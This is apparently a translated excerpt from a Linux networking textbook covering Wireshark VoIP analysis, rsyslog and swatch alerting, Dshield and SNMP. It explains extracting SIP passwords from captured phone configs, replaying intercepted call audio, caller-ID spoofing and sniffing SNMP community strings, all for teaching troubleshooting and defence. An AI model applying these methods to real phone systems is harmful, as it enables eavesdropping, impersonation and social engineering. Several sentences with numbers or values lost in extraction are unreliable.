在数据包 15 下面,我们看到对第二个名为SIP0023049B48F1.cnf的文件的请求。重复我们之前对此文件的处理过程 - 传输从数据包 17 开始,因此跟随从那里开始的 UDP 流。有了这个文件,我们现在拥有了 MAC 地址为0023.049B.48F1的电话的 SIP 配置。查看此文件,我们可以看到这是分机1412的配置文件,呼叫者 ID 为Helpdesk Extension 2。该文件包含该电话的整个配置,包括 SIP 密码。有了这些信息,攻击者可以轻松冒充帮助台分机,并通过社会工程学从打电话给帮助台的人那里收集机密信息 - 这确实是一条宝贵的信息!

现在,让我们深入研究我们的电话系统,并捕获实际 VoIP 电话呼叫的音频。

故障排除应用程序 - 捕获 VoIP 电话呼叫

为此,我将保持我们相同的捕获设置,并从客户端电话的端口G1/0/1拨打到G1/0/2的帮助台呼叫。捕获G1/0/1进出的所有数据包应该得到我们需要的内容 - 在此间隔内,进出G1/0/2的流量应与G1/0/1完全相同(只是方向相反)。

为了捕获我们的文本,我们将简单地进行全面捕获;在这种情况下不需要过滤器。我们开始了捕获,确保捕获了通话的开始和结束(因此我们在拨号之前开始捕获,并在挂断后结束)。

捕获完成后,我们可以在 Wireshark 中查看我们的 PCAP - 本实验室的示例文件是HelpDesk Telephone Call.pcapng,位于我们的 GitHub 存储库中github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11

让我们看一下标记为Ringing的数据包 6。探索此数据包中的应用程序数据说明了在许多情况下理解这些数据是多么容易 - 特别是 SIP(在呼叫设置中使用时)遵循了您可能期望从电子邮件中使用的内容:

图 11.16 - 探索 SIP“响铃/邀请”数据包

图 11.16 - 探索 SIP“响铃/邀请”数据包

看一下其他几个 SIP 数据包,并探索每个应用程序数据中的一些字段。

接下来,我们将查看通话本身。请注意,在数据包 15 上,协议从 SIP(在5060/udp上)更改为IP部分,然后展开46已设置:

图 11.17 - RTP(语音)数据包中的 DSCP 位

图 11.17 - RTP(语音)数据包中的 DSCP 位

DSCP 是数据包中的一个 6 位字段,告诉中间网络设备如何对该数据包进行优先处理。在这种情况下,该值设置为46Expedited Forwarding,简称EF。这告诉交换机,如果有几个数据包排队等待,这个(以及其他具有相同标记的数据包)应该优先处理。事实上,EF 标记是独特的,因为它告诉网络设备尽量不要排队处理这个数据包。

EF 标记是独特的,因为它不排队,而是首先转发以保持语音流的完整性,并防止出现“回声”等现象。它还是独特的,因为如果缓冲区填满到必须排队此数据包的程度,通常,中间的网络设备会丢弃其中的一些数据包,而不是延迟它们。这是因为人耳对于一些数据包被丢弃的 VoIP 呼叫更宽容,而不是这些相同的数据包被延迟。

如果您检查设置呼叫时使用的 SIP 数据包之一,这些数据包的 DSCP 值都为 26(有保证的转发)-换句话说,并非加速,但它被标记为一种重要的 UDP 数据包。这些标记请求,如果接口或路径拥塞,那么这个数据包应该被缓冲而不是丢弃。

接下来,让我们再次深入研究此 RTP 数据包中的应用数据:

图 11.18–RTP 应用数据

图 11.18–RTP 应用数据

请注意,这些数据要简单得多。在大多数情况下,有一些引导数据,用于标识此数据包是正在进行的电话呼叫的一部分。这是呼叫的数据包(和帧)4。编解码器被识别,以便远端设备知道如何解码数据。数据包的大部分内容在Payload字段中,这是语音数据。

您可以通过突出显示呼叫中的一个 RTP 数据包,右键单击它,然后选择跟踪 UDP 数据流来“跟踪”此流。这样可以提取呼叫中的所有 RTP/语音数据,以便进行分析。在其他协议中,您可能会选择跟踪 TCP 数据流跟踪 UDP 数据流,然后能够恢复整个文件(例如从 FTP 或 TFTP 会话中)。

要恢复语音对话,Wireshark 已经添加了一个特殊的处理程序。打开此 PCAP 文件后,选择R(右)正在拨打电话,而L(左)正在接听电话。如果选择播放按钮,可以回放整个对话:

图 11.19–回放捕获的 VoIP 对话

图 11.19–回放捕获的 VoIP 对话

或者,选择任何 RTP 数据包,并选择电话| RTP|流分析。现在,选择保存并选择任何同步选项(例如-0),非同步前向反向音频。这将文件保存为“AU”(Sun 音频)文件,可以由大多数媒体播放器播放,或者转换为所需的任何其他音频格式:

图 11.20–将 VoIP 对话保存为可播放的媒体文件

图 11.20–将 VoIP 对话保存为可播放的媒体文件

这对于运行 VoIP 解决方案的任何人都有一些明显的影响。默认情况下,大多数 VoIP 配置不会加密语音流量。这是为了消除加密/解密作为延迟或抖动的来源,这是语音质量下降的两个主要原因。这意味着在这些情况下,语音数据不能被视为“安全”。

另外,注意在我们的求助台呼叫中,求助台人员使用来电显示来验证来电者的身份。这在一切正常时可能有效,但我们已经描述了一种可能被破坏的方法。甚至更简单的方法是攻击者使用数据包捕获来识别 VoIP 基础设施的工作原理,然后在他们的计算机上建立一个“软电话”。在这种情况下,攻击者可以为来电者 ID 定义任何他们想要的内容;这是一个简单的文本字段。通常,来电者 ID 是由手柄提供而不是 PBX,所以在这种情况下,求助台被欺骗执行密码重置。

通常,电话启动序列使用基于 TFTP 或 HTTP 的配置服务。这将根据电话机的“名称”下载一个配置文件。在许多情况下,电话机的“名称”是单词SIP,后跟电话机的 MAC 地址 - 您还可以在电话机的 LLDP 广告中看到这些名称。这种约定会因不同的电话机供应商而异,但几乎总是一个简单的文本字符串,结合电话机的 MAC 地址。攻击者只需在配置/提供服务器和电话机之间进行中间人攻击,就可以破坏电话机的配置。加上配置文件的明文性质,使得攻击者可以在文件下载时修改关键字段。

Wireshark 显示过滤器 - 在捕获中分离特定数据

继续使用我们的帮助台呼叫文件,我们可以轻松地将此文件过滤为仅显示特定流量。例如,在故障排除时,通常需要仅查看 SIP 流量 - SIP 网关经常属于云提供商,他们经常设置错误,导致 SIP 认证问题甚至 ACL 设置错误,因此登录甚至初始连接失败。您可以在数据包中看到所有这些问题,因此让我们过滤 SIP 协议:

图 11.21 - 仅过滤 SIP 流量(呼叫设置/拆除)

图 11.21 - 仅过滤 SIP 流量(呼叫设置/拆除)

这显示了整个呼叫设置,响铃,接听和最终挂断(BYE数据包在底部的第二行处于7848)。我们还可以通过指定udp.port==5060来进行过滤。与数据包捕获过滤器相比,显示过滤器使用不同的语法,这最终更加灵活。通常,您会使用一个过滤器进行捕获以获取所需的内容,然后在 Wireshark 中再次进行过滤,从而允许您使用多个过滤器串联在一起,深入挖掘以获取确切所需的内容。

请注意145896之间缺少的5882个数据包;那就是对话本身。让我们只过滤这个:

图 11.22 - 过滤 RTP 流量(语音对话)

图 11.22 - 过滤 RTP 流量(语音对话)

通常只通过协议名称过滤 RTP,因为 RTP 端口会因呼叫而异,在 SIP 设置期间进行协商。通过深入研究 RTP 数据包,我们可以看到端口为12200192.168.123.55和端口为12830192.168.123.53(您可以从 SIP 数据包中获取名称和扩展名):

图 11.23 - 用于此对话的 RTP 端口

图 11.23 - 用于此对话的 RTP 端口

这两个端口是在哪里协商的?这些是在 SIP 交换的一部分 SDP 中设置的。第一个 SDP 数据包在数据包 4 中,x1234 处的呼叫者标识其 RTP 端口。展开此数据包,然后滚动到会话初始协议(INVITE)|消息正文|会话描述协议|媒体描述部分:

图 11.24 - 呼叫者设置其 RTP 端口

图 11.24 - 呼叫者设置其 RTP 端口

SDP 回复在数据包 13 中,当远端的电话被接听时。这是接收方(扩展1411192.168.123.53)回复其端口的地方;即12830

图 11.25 - 通话接收方设置其 RTP 端口

图 11.25 - 通话接收方设置其 RTP 端口

您可以通过查找SIP 和 SDP作为显示过滤器(数据包 4 和 15)来仅过滤 SDP 数据包:

图 11.26 - 仅过滤 SIP/SDP 数据包

图 11.26 - 仅过滤 SIP/SDP 数据包

请注意,如果您查看第一个数据包,它是一个失败的邀请。如果您感兴趣,可以深入了解失败的原因!

希望您可以将您在本节中学到的分析各种 VoIP 协议的方法应用到生产环境中的具体问题解决中。

总结

到目前为止,我们已经介绍了如何使用数据包捕获工具,无论是从合法的故障排除角度还是从攻击者的角度。特别是,我们已经介绍了如何定位和配置以便捕获数据包,使用什么工具,以及如何将“消防栓”式的信息过滤到您需要解决问题的内容。过滤特别有用,这就是为什么 Wireshark 中有一个两阶段的过滤方法(在捕获时和在显示数据包时)。

我们已经深入介绍了 VoIP 呼叫的操作,从启动电话到拨打电话,再到捕获和收听呼叫的音频回放。到目前为止,您应该对这些工具为网络、系统和应用程序管理员提供的功能深有体会。您应该已经做好了将这种体会转化为真正掌握的准备——只需记住,学习 Wireshark 或 tcpdump 等工具的最佳方法是使用它来解决问题,或者至少使用它来学习其他东西(比如 DHCP 的工作原理,或者电话呼叫在网络上的工作原理)。

在下一章中,我们将讨论网络监控,其中将包括使用 SNMP 的日志记录、使用 NetFlow 和其他基于流的协议来监控和故障排除网络。

问题

在我们结束时,这里有一些问题供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 为什么您会使用端点主机,而不是 SPAN 端口上的中间设备进行数据包捕获?

  2. 在什么情况下您会使用 tcpdump 而不是 Wireshark?

  3. RTP 使用的端口是多少,用于 VoIP 通话?

进一步阅读

要了解本章涵盖的内容,请参考以下参考资料:

第十二章:使用 Linux 进行网络监控

在本章中,我们将讨论各种网络监控和管理协议、工具和方法。我们将介绍使用 syslog 进行日志记录,它可以用于记录各种主机上感兴趣的事件。这将扩展到基于云的 syslog 事件收集,允许你总结防火墙流量并将你的流量模式与互联网上的流量进行比较。

我们将讨论使用 SNMP 来收集各种网络设备和主机的性能统计数据,这在故障排除和容量规划中都很有用。

最后,我们将使用 NetFlow 和其他流量收集协议来寻找流量异常——我们将使用 NetFlow 来进行典型的事件调查,揭示一个大规模的数据外泄事件。

具体来说,我们将涵盖以下主题:

  • 使用 Syslog 进行日志记录

  • Dshield 项目

  • 在 Linux 上收集 NetFlow 数据

技术要求

在这一章中,我们将讨论网络管理的几个方面。虽然你可以在本章中重新创建示例构建,但请注意你的数据将会不同。因此,虽然使用各种数据类型进行监控或故障排除的方法将保持不变,但要在你的环境中使用你的数据(以及任何需要解决的问题),你将需要不同的搜索词。

也就是说,你现有的 Linux 主机或 VM 可以用来构建本章中描述的任何一个或所有示例系统。然而,在生产中,你会将这些功能分开部署在一个、两个甚至更多的专用服务器上。如果你在实验室中使用 VM,我最好的建议是从一个新的、干净的映像开始,并从那里开始构建——这样,如果你发现我们使用的各种网络管理系统NMSes)有用,你可以直接将它们移植到生产中。

NMS 部分侧重于 LibreNMS 应用程序。对于那组示例,建议下载并安装该应用程序的预构建 Linux VM 映像(OVA 格式)。

使用 Syslog 进行日志记录

日志记录是管理任何系统的关键方面,几乎普遍建议进行中央日志记录。中央日志记录允许你将来自多台服务器或服务(例如防火墙、负载均衡器和 Web 服务器)的日志合并到一个按时间顺序排列的文件中。这通常可以加快任何故障排除或诊断,因为你可以看到事件从一个平台移动到下一个。从安全的角度来看,这在事件响应IR)中尤为重要。在响应事件时,你可能会看到恶意软件通过电子邮件到达,然后作为一个进程执行,然后横向移动(通常称为“东/西”)到其他工作站主机,或向“北”向你的服务器移动。再加上定期(通常每小时)更新后,你的工具的当前版本很可能能够从日志中找出可能在昨天被忽略的恶意软件。

此外,从安全的角度来看,将日志记录到中央位置可以将这些日志条目的副本从源主机中移出。如果源主机受到攻击,这可以给你一个“更可信”的真相版本。在初始受损后,攻击者必须付出更多的努力来找到并攻击中央日志服务器。在很多情况下,这种延迟可以被用于你的优势,以识别并警告攻击已经发生。通常,防御都是关于延迟攻击者,并在此延迟期间向防御者提供尽可能多的细节。中央日志记录,以及对日志条目进行接近实时的分析或触发器,是这一点的一个很好的例子。

那么,在部署和使用中央日志记录时,我们应该考虑哪些设计和可用性考虑?

日志大小、轮换和数据库

你会注意到关于日志的第一件事是它们增长得非常快。如果你在防火墙上进行全面日志记录,即使在一个小组织中,这些日志也会很快增长到每天几 GB。再加上路由器、交换机、服务器以及这些服务器上的服务的日志,日志可能会变得非常复杂和难以搜索。

人们经常做的第一件事是分离日志。保留“全部日志”总是明智的,但将每个设备或服务日志的副本分开并分成单独的较小日志可能会很方便。虽然防火墙日志可能有几 GB 大小,但同一时期的路由器日志很可能只有几 KB 大小,通常是个位数。日志大小通常可以成为问题的指标 - 例如,如果你有一个典型每天 3-5KB 的日志,突然增长到每天 2-3MB,这通常表明出现了问题。或者,如果你有 15 个分支办公室应该是相同的,但其中一个路由器或防火墙日志的大小是其他的 3 倍或 10 倍,那也是一个很大的箭头指向“这里看看!”

通常,人们会采取混合方法 - 保留包含所有内容的单一日志,为所有内容保留单独的日志,然后合并那些不那么“啰嗦”的东西 - 例如,只删除防火墙日志以及 Linux 和 Hypervisor 主要 syslog 日志可以大大减少日志大小,但仍保留一个合理的合并日志文件。

所有这些都占用了磁盘空间,每次你以不同的方式切割数据,都很可能会大幅增加空间需求。要注意数据的整体大小和存储它的容量 - 你绝不希望处于攻击者可以填满日志容量的位置。这种情况可能会完全停止日志记录过程,因此你不知道攻击者去了哪里。它还可以覆盖事件的初始集,因此你不知道攻击者是如何首次立足的。在最坏的情况下,它可能两者兼而有之。

解决这个空间问题的一种方法是归档日志 - 保留 1-5-7-10 天的日志以便轻松搜索,但在那之后,可能会归档和压缩主要日志并删除其余部分。这可以保留传统的文本文件,以及传统的grep/cut/sort/uniq 搜索方法,但保持大小可管理。

更现代的方法可能是保留那个单一的“全部”日志文件,并进行定期的离线存储,这样可以轻松地保留几个月甚至几年的日志 - 根据你的政策、程序或合规要求。然后,你可以根据需要从这个中央位置重新转发流量到你的 SIEM。所有这些日志都可以使用命令行工具进行搜索。

对于日常故障排除,解析日志数据并将其存储在数据库中。这样可以实现更快的搜索,尤其是在应用了战略索引之后,还可以更轻松地管理数据的整体大小。这种方法的关键不是管理磁盘空间,而是(尽可能地)通过目标时间间隔来管理日志容量,以便实现可预测、可重复的故障排除和报告窗口。

让我们深入探讨如何在故障排除时逐步添加搜索项以找到最终答案。

日志分析 - 寻找“关键”

人们一旦将日志存储在磁盘上,面临的主要挑战是如何使用它们。特别是在故障排除或处理安全事件时,你知道日志中有很好的信息,但要知道在哪里搜索、如何搜索以及使用什么工具是一个艰巨的任务,如果你刚开始进行日志分析的话。

要查找的地方

通常,确定你正在寻找问题的 OSI 堆栈的哪个位置是有意义的。诸如重复的 IP 地址之类的问题是第 3 层的问题 - 你会在路由器或交换机日志中寻找它们。然而,同样的问题可能会从最终用户报告开始,他们声称“Web 服务器不稳定”,所以你可能会从 Web 服务器的应用程序日志开始 - 你可能需要一些时间来通过各种服务器和设备日志逐步解决这个问题,找到根本问题。最近的一个例子中,我与帮助台合作部署了一台新打印机,我不小心错误地在打印机配置中使用了 Web 服务器集群地址之一。

虽然在更大的日志中查找这些问题可能会更快,但在一个多 GB 的文本日志中搜索可能需要 5-10-15 分钟每次“尝试”,因为你需要交互式地得到最终的搜索词组。同样,在文本日志的情况下,你通常会从“最有可能的”日志开始搜索,而不是“在这里搜索,它包含所有内容”的日志。

既然我们正在寻找正确的地方,我们如何缩小所有这些日志条目以找到“答案”呢?

如何搜索

在大多数情况下,搜索日志将包括一系列“找到这个”和“排除那个”的子句。如果你在搜索文本日志,这通常是grep -i "包含文本"grep -i -v "排除文本"。请注意,使用-i会使你的搜索不区分大小写。如果你按正确的顺序串联足够多的这些内容,通常就足够了。

然而,如果你想“计算”特定事件,uniq -c可能会有所帮助,它将计算唯一事件。然后,你可以使用sort -r将它们按降序排序。

例如,要查找到外部 DNS 服务器的 DNS 查询,你需要搜索防火墙日志。如果防火墙是 Cisco ASA,查询可能类似于这个序列:

我们的最终命令?让我们来看一下:

cat logfile.txt | grep –v  "a.a.a.a" | grep –v "b.b.b.b" | grep "/53 " | sed s/\t/" "/g | tr –s " " | cut -d " " -f 13 | sed s/:/" "/g | sed s/\//" "/g | cut -d " " -f 2 | sort | uniq –c | sort –r

这看起来很复杂,但请记住,这是迭代完成的 - 我们分别解决每个请求中的“子句”,然后按顺序将它们串联在一起。此外,在许多情况下,我们可能会花费几分钟甚至几个小时来完善一个查询,但然后在以后的几年中以自动化的方式使用该查询,所以这是值得花费的时间!

此外,虽然我们展示了使用 Linux 命令行文本处理命令进行查询,但相同的方法可以用于数据库日志存储库,甚至用于针对不同防火墙的查询。无论目标设备、日志存储库类型或我们要解决的问题是什么,方法通常是这样的:

  • 使用一些广泛的查询或选择(包括或排除)来将数据减少到更可管理的量。

  • 做任何必要的工作来处理数据,以便可以更具体地查询。

  • 使用一些更具体的查询来进一步缩小范围。

  • 如果我们正在寻找计数或最常见的事件,就要总结数据以匹配所需的内容。

  • 测试最终的查询/选择标准。

  • 将最终的搜索词组插入到所需的自动化中,以便以所需的频率对此信息进行总结或报告。

这涵盖了如何通过日志搜索过去的事件来诊断过去的问题,但我们不能使用日志立即告诉我们已知的问题何时发生吗?简短的答案是“是的,绝对可以”。让我们探讨一下这是如何做到的。

特定事件的警报

这是“寻找事物”对话的延伸 - 也许是“何时寻找”的话题。当然,找到问题的最佳时间是它发生的瞬间 - 或者甚至是在它发生之前,这样你就可以尽快修复它。

为此,通常会定义简单的文本字符串,这些字符串可能会指示问题并在发生时警报相关人员。您可能会在发生此类警报时发送电子邮件警报或短信,或者可能会收集一天的警报并发送每日摘要-您的方法可能取决于您的环境以及所见到的警报的严重程度。

搜索常见术语包括以下内容(几乎总是建议不区分大小写搜索):

在所有这些情况下,您可能希望添加一个not子句来过滤可能正在浏览或搜索这些术语的用户-例如,“batter”将找到所有电池事件,但它也会找到搜索蛋糕食谱和棒球新闻故事的用户。如果从搜索术语中排除“http”,那通常会得到您所需的内容。

有了这些触发器,您可以在问题变成问题之前解决一堆问题-这总是一件好事。

现在我们已经讨论了搜索和触发器,让我们建立一个日志服务器并尝试这些方法!

Syslog 服务器示例-Syslog

要在 Linux 主机上运行基本的 syslog 服务,我们将配置rsyslog服务。默认情况下,此服务侦听端口514/udp,尽管端口和协议都是可配置的。

日志事件以各种优先级或严重级别出现,通常由发送设备设置:

  • emerg, panic(紧急)-级别0:这是最低的日志级别。系统无法使用。通常这些是在系统崩溃之前您将看到的最后消息。

  • alert(警报):级别1:必须立即采取行动。这些通常会影响整个系统的操作。

  • crit(临界):级别2:与警报一样,必须立即采取行动。系统的主要功能可能无法正常运行。

  • err(错误):级别3:重要错误,但系统仍在运行。系统的主要功能可能受到影响。

  • warn(警告):级别4:警告条件。

  • notice(通知):级别5:正常但重要的条件。

  • info(信息):级别6:信息消息。

  • debug(调试):级别7:这是最高级别-调试级别消息。

通常,当您配置一个日志记录级别时,所有较低的日志记录级别都会包括在内。因此,如果您在主机上配置了级别 4 的 syslog,则也会包括 0、1、2 和 3。这就解释了为什么在大多数情况下,您只为任何给定的主机配置一个日志记录级别。

很可能rsyslog已经安装并在您的 Linux 主机上运行。让我们来检查一下:

~$ sudo systemctl status rsyslog
• rsyslog.service - System Logging Service
     Loaded: loaded (/lib/systemd/system/rsyslog.service; enabled; vendor prese>
     Active: active (running) since Tue 2021-06-15 13:39:04 EDT; 11min ago
TriggeredBy: • syslog.socket
       Docs: man:rsyslogd(8)
             https://www.rsyslog.com/doc/
   Main PID: 783 (rsyslogd)
      Tasks: 4 (limit: 9334)
     Memory: 4.1M
     CGroup: /system.slice/rsyslog.service
             └─783 /usr/sbin/rsyslogd -n -iNONE
Jun 15 13:39:04 ubuntu systemd[1]: Starting System Logging Service...
Jun 15 13:39:04 ubuntu rsyslogd[783]: imuxsock: Acquired UNIX socket '/run/syst>
Jun 15 13:39:04 ubuntu rsyslogd[783]: rsyslogd's groupid changed to 110
Jun 15 13:39:04 ubuntu rsyslogd[783]: rsyslogd's userid changed to 104
Jun 15 13:39:04 ubuntu rsyslogd[783]: [origin software="rsyslogd" swVersion="8.>
Jun 15 13:39:04 ubuntu systemd[1]: Started System Logging Service.
Jun 15 13:39:05 ubuntu rsyslogd[783]: origin software="rsyslogd" swVersion="8.

如果您尚未安装此服务,只需运行以下命令即可:

$ sudo apt-get install rsyslog 

安装并运行服务后,让我们继续配置。编辑/etc/rsyslog.conf文件,确保您具有sudo权限进行此操作。

您会发现控制监听端口的行如下。取消注释 UDP 的行,如下所示(其中包含imudp的两行)。如果您还想在514/tcp上接受 syslog,请随时取消注释(这两个在此处都取消了注释):

# provides UDP syslog reception
module(load="imudp")
input(type="imudp" port="514")
# provides TCP syslog reception
module(load="imtcp")
input(type="imtcp" port="514")

如果您想将 syslog 客户端限制为特定的子网或 DNS 域集,可以通过在此文件中添加AllowedSender行来实现,如下所示,在我们刚刚取消注释的“input”行之后(请务必根据您要添加此行的部分使用正确的协议):

$AllowedSender UDP, 127.0.0.1, 192.168.0.0/16, *.coherentsecurity.com

接下来,我们将向下滚动到同一文件的“全局指令”部分。就在那一行之前,我们将添加一行作为“模板”,以命名传入的文件并标识它们的位置。我们可以使用几个以“%”分隔的变量,其中最常见的如下:

在我们的配置中,我们将使用主机 IP 作为文件名,然后按日期拆分日志:

$template remote-incoming-logs, "/var/log/%$year%-%$month%-%$day%/%FROMHOST-IP%.log"*.* ?remote-incoming-logs

使用以下命令检查文件语法:

$ rsyslogd -N 1
rsyslogd: version 8.2001.0, config validation run (level 1), master config /etc/rsyslog.confrsyslogd: End of config validation run. Bye.

可以用于模板化 syslog 文件的其他变量名称包括以下内容:

现在,保存文件并重新启动rsyslog服务:

$ sudo systemctl restart rsyslog

现在,我们只需要配置我们的各种服务器和设备,将日志转发到这台服务器,对吧?

有点像 - 这给我们带来的是一个非常昂贵(以磁盘空间计算)的日志堆。我们实际想要的是一种方法,从这些日志中实时获取一些警报。我们将使用一个名为tail命令的过程来实现这一点,该命令将使用以下命令将行回显到文本文件中:

tail –f < filename.txt

这会回显文本,但不会给我们任何警报。为此,我们必须安装一个名为swatch(用于“syslog watch”)的软件包:

Apt-get install swatch

安装完成后,我们将创建一个配置文件来告诉工具要查找什么。回顾我们的常见警报列表,像这样的swatch.conf文件可能是一个很好的开始:

watchfor /batter/i
echo red
mail=facilities@coherentsecurity.com, subject="ALERT: Battery Issue"
watchfor /temperature|fan|water/i
echo environmental
mail=rob@coherentsecurity.com, subject="ALERT: Environmental Alert"
watchfor /BGP/
echo routing_issue
mail=rob@coherentsecurity.com, subject="ALERT: Routing Issue"
watchfor /SEC_LOGIN_FAILED/
echo security_event
mail=rob@coherentsecurity.com, subject="ALERT: Administrative Login Failed"
continue
watchfor /SEC_LOGIN_FAILED/
threshold type=threshold,count=5,seconds=600
echo security_event
mail=rob@coherentsecurity.com, subject="ALERT: Possible Password Stuffing Attack in Progress"

这里有几点需要注意 - 我们要查找的文本在watchfor子句中。请注意,在每种情况下,被监视的文本都是“正则表达式”或regexregex语法非常灵活,既可以非常简单(如前面所示),也可以非常复杂,难以理解。我在本章末尾包含了一些正则表达式参考资料。

在我们的示例中,第一个正则表达式以/I结尾,这告诉watchfor命令这是一个不区分大小写的搜索。请注意,这会消耗相当多的 CPU 资源,因此如果您知道匹配文本的大小写,最好将其正确地放入正则表达式中。

在第二个子句中,请注意我们有三个不同的搜索项,用|字符分隔,这是一个逻辑或 - 换句话说,“温度”或“风扇”或“水”。

最后两个示例是相关的。第一个示例查找失败的登录并为每个登录提供警报。但然后它有一个continue命令,告诉 swatch 继续。下一个子句匹配相同的文本,但有一个阈值 - 如果 swatch 在 5 分钟内看到五次失败的登录尝试,它将识别可能的密码填充攻击。

您还可以使用exec命令而不是mail来触发匹配的日志语句执行脚本。

最后,我们将要开始样本过程:

$swatchdog –c /path/swatch.conf –t /path/logfile.log

这个命令提出了两个观点:

  • 我们已经提到日志大小是一个问题,因此我们存储日志的当前路径不应该与/var/log在同一个分区中,后者仅用于本地日志。它绝对不应该与引导或任何其他系统分区在同一个分区中。填满 syslog 分区将导致日志丢失,还可能导致服务器崩溃或无法引导!我们希望我们的日志在一个单独的、专用的分区中,大小合适以存储我们需要的内容。归档日志可以在同一个分区中,也可以在第二个分区中,专门用于存档(很可能是 ZIP 压缩)日志。

  • 我们为rsyslog配置的当前配置需要 sudo 权限来查看日志。因此,我们要么需要修改文件和目录权限,要么需要使用 sudo 运行我们的swatchdog。这两种方法都带有一定程度的风险,但为了便于使用日志进行故障排除,让我们更改文件权限。这可以在/etc/rsyslog.conf文件中通过修改这些行来完成:

$FileOwner syslog
$FileGroup adm
$FileCreateMode 0640
*.*
$DirCreateMode 0755
*.*
$Umask 0022
$PrivDropToUser syslog
$PrivDropToGroup syslog

在大多数情况下,您可以将FileGroup命令更改为不同的组,并将各种管理员放入该组,以及您从中运行“swatch”设置的任何帐户。

或者,您可以更改文件和目录CreateMode行,甚至包括"everyone",使用0777。由于日志条目始终包含敏感信息,我不建议这样做 - 作为一名渗透测试人员,发现密码在日志文件中是相当常见的 - 令人惊讶的是,人们经常在userid字段中输入密码,然后再次尝试正确的信息!

您仍然可以在目录名称中使用日期,但通常,保持一致的文件和目录名称对于实时文件更容易。这使得日志监控工具和解决问题的人更容易找到“今天”。在您的归档脚本中使用日期值意味着历史日志文件将位于“日期”目录中或具有“日期”ZIP 文件名。

话虽如此,我们修改后的 swatch 命令将类似于以下内容:

$swatchdog –c /path/swatch.conf –t /path/logfile.log --daemon

请注意,我们在命令中添加了-d - 一旦一切都调试和正常工作,您将希望在后台运行该命令(作为守护进程)。

您可能需要做更多的工作才能使 swatch 在生产中运行 - 例如,为您的环境获得那些权限,检查您的网络清单,并确保您的所有设备都有中央日志记录,调整日志分区大小,并使日志轮换工作。我们已经涵盖的内容应该足以让您上路,尽管这些其他工作大部分将是针对您的环境的。

在我们组织的日志得到覆盖后,现在出现了其他问题:我们的事件如何与其他组织相比?我们是否看到与其他人相同的攻击,或者我们可能是特定事物的目标?我们如何获得这些信息?我们将在下一节中讨论这个问题。

Dshield 项目

Dshield 项目由互联网风暴中心(isc.sans.edu)的人员维护,允许参与者将他们的(匿名化的)日志转发到一个中央存储库,这些日志被聚合起来,以提供一个关于“互联网上发生了什么”的良好图景。

具体来说,转发的信息是由您的防火墙阻止的连接尝试。如果您不想使用实际的防火墙日志,还可以使用专用的 Dshield 传感器。参与说明可以在这里找到:isc.sans.edu/howto.html

这些聚合数据让我们了解恶意行为者正在寻找哪些端口,以便利用它们。参与者的地址是匿名化的信息。各种高级报告可以在这里查看:isc.sans.edu/reports.html

特别是,您可以深入研究该页面上的任何“前 10 个端口”,以查看最受欢迎的端口上随时间的活动。例如,您可以转到isc.sans.edu/port.html?port=2222,如下图所示:

图 12.1 - 一个端口的 Dshield 数据

图 12.1 - 一个端口的 Dshield 数据

通过这种模式,您可以看到如何查询任何端口,如果您有特定的流量需要进行取证。

此外,如果您更愿意使用脚本或应用程序来消耗这些聚合信息,这些信息也可以通过 API 查询。 Dshield API 的文档在这里:isc.sans.edu/api/

例如,要收集端口2222的摘要信息,我们可以使用curl(只是一个例子):

$ curl –s –insecure https://isc.sans.edu/api/port/2222 | grep –v encoding\= | xmllint –format –
<?xml version="1.0"?>
<port>
  <number>2222</number>
  <data>
    <date>2021-06-24</date>
    <records>122822</records>
    <targets>715</targets>
    <sources>3004</sources>
    <tcp>100</tcp>
    <udp>0</udp>
    <datein>2021-06-24</datein>
    <portin>2222</portin>
  </data>
  <services>
    <udp>
      <service>rockwell-csp2</service>
      <name>Rockwell CSP2</name>
    </udp>
    <tcp>
      <service>AMD</service>
      <name><![CDATA[[trojan] Rootshell left by AMD exploit]]></name>
    </tcp>
  </services>
</port>

因为在此示例中返回的数据是 XML 格式,所以您可以使用标准库或语言组件来消耗它。您还可以将返回的格式更改为 JSON、文本或 PHP。在某些情况下,数据适合逗号或制表符分隔的格式(CSV、制表符)。

要更改格式,只需将?format_type添加到查询中,其中format_type可以是 JSON、文本、PHP,或者在某些情况下可以是 CSV 或制表符。

每个用户都有自己的网络门户,显示他们自己设备的相同统计数据 - 这些数据在故障排除时可能很有价值,或者与聚合数据进行对比,以查看您的组织是否可能受到攻击。但这种方法的强大之处在于聚合数据,它可以很好地反映特定日期的互联网“天气”情况,以及整体“气候”趋势。

现在我们已经配置了本地日志记录,并将我们的防火墙日志聚合以进行更好的互联网流量分析,让我们考虑其他网络管理协议和方法,首先是简单网络管理协议SNMP)管理/性能和正常运行时间。

使用 SNMP 进行网络设备管理

在本质上,SNMP 是从目标网络设备收集信息的一种方式。通常,这是通过基于服务器的应用程序完成的,但您当然也可以从命令行查询 SNMP。目前有几个版本的 SNMP,其中有两个是常用的。

SNMPv2c(第 2c 版)是对初始 v1 协议的轻微改进,但仍然是一种“老派”数据收集方法 - SNMP 查询和响应都是通过 UDP 以明文传输的。它使用密码短语(称为社区字符串)进行安全保护,但这也是以明文发送的,因此工具如 Ettercap 可以轻松收集这些信息 - 即使通常建议使用“长且复杂”的字符串,也无法保护您,如果攻击者可以轻松地复制并重用它们。此外,默认的社区字符串(只读访问为 public,读写访问为 private)通常保持不变,因此只需使用这些字符串进行查询,通常就可以为攻击者带来良好的结果。通常建议在目标设备上使用 ACL 来保护对 SNMP 的访问。但是,考虑到进行 ARP 欺骗攻击的简单性,位置良好的攻击者也可以轻松绕过这些 ACL。

SNMPv3 是该协议的最新版本,增加了一个非常受欢迎的加密功能。与 SNMPv2c 提供的“只读或读/写”访问控制相比,它还具有更加细致的访问控制方法。

正如我们之前提到的,SNMP(任一版本)可用于向目标设备“轮询”信息。此外,该设备可以向 SNMP 服务器或日志收集器发送未经请求的 SNMP“陷阱”。SNMP 轮询使用161/udp,而 SNMP 陷阱发送到162/udp(尽管可以配置为使用 TCP)。

在涵盖了一些背景知识之后,让我们来做一些示例查询。

基本的 SNMP 查询

在 Linux 中进行命令行查询之前,您可能需要安装snmp软件包:

$ sudo apt-get install snmp

现在,我们可以进行一个示例查询。在我们的第一个示例中,我正在收集实验室交换机的 IOS 版本:

$ snmpget –v2c –c <snmpstring> 192.168.122.7 1.3.6.1.2.1.1.1.0
iso.3.6.1.2.1.1.1.0 = STRING: "SG550XG-8F8T 16-Port 10G Stackable Managed Switch"

要收集系统正常运行时间,以秒和人类可读的时间戳,使用以下命令:

$ snmpget -v2c -c <snmpstring> 192.168.122.7 1.3.6.1.2.1.1.3.0
